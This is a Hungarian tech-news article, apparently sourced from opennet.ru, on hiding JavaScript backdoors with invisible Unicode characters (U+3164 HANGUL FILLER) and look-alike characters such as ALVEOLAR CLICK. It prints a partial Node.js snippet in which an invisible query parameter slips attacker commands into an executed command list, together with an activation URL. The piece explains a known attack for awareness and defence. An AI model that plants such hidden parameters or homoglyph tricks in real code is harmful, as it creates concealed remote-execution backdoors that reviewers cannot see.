Láthatatlan unicode karakterek használata a műveletek elrejtésére a JavaScript-kódban

A kétirányú szöveg megjelenítési sorrendjét megváltoztató Unicode karakterek használatán alapuló trójai forrású támadási módszert követően egy másik rejtett műveletek bevezetésére szolgáló technikát tettek közzé, amely a JavaScript kódra vonatkozik. Az új módszer a "ㅤ" (0x3164 kód, "HANGUL FILLER") unicode karakter használatán alapul, amely betű, de nincs látható tartalma. A Unicode kategória, amelyhez ez a karakter tartozik, az ECMAScript 2015 specifikáció óta engedélyezett a JavaScript-változónevekben, ami lehetővé teszi olyan láthatatlan változók vagy új változók létrehozását, amelyek nem különböztethetők meg más változóktól olyan népszerű kódszerkesztőkben, mint a Notepad++ és a VS Code.

Példaként adjuk meg a Node.js platform kódját, amelyben egyetlen "ㅤ" karakterből álló változó használatával egy hátsó ajtó van elrejtve, amely lehetővé teszi a támadó által megadott kód végrehajtását: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // valójában azt mondja, hogy "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // vessző, majd \u3164 ];

Első pillantásra csak az időtúllépési érték kerül át a külső paraméteren, és a végrehajtandó parancsokat tartalmazó tömb egy ártalmatlan rögzített listát tartalmaz. Valójában azonban az időtúllépési változó után egy másik, \u3164 szimbólumkódú láthatatlan változó értéke van hozzárendelve, amely szintén behelyettesítésre kerül a végrehajtható parancsok tömbjébe. Így egy ilyen struktúra jelenlétében a támadó egy „https://host:8080/network_health?%E3%85%A4=command” jellegű kérést küldhet a hátsó ajtó aktiválására és a kód végrehajtására.

Egy másik példaként a „ǃ” (ALVEOLAR CLICK) karaktert adjuk meg, amellyel a felkiáltójel látszatát kelthetjük. Például az "if(environmentǃ=ENV_PROD){" kifejezés a Node.js 14-ben végrehajtva mindig igaz lesz, mert nem ellenőrzi a különbségeket, hanem az "environmentǃ" változót ENV_PROD értékre állítja. A félrevezető Unicode karakterek közé tartozik a „/”, „−”, „+”, „⩵”, „❨”, „⫽”, „꓿” és „∗”.

Forrás: opennet.ru

Hozzászólás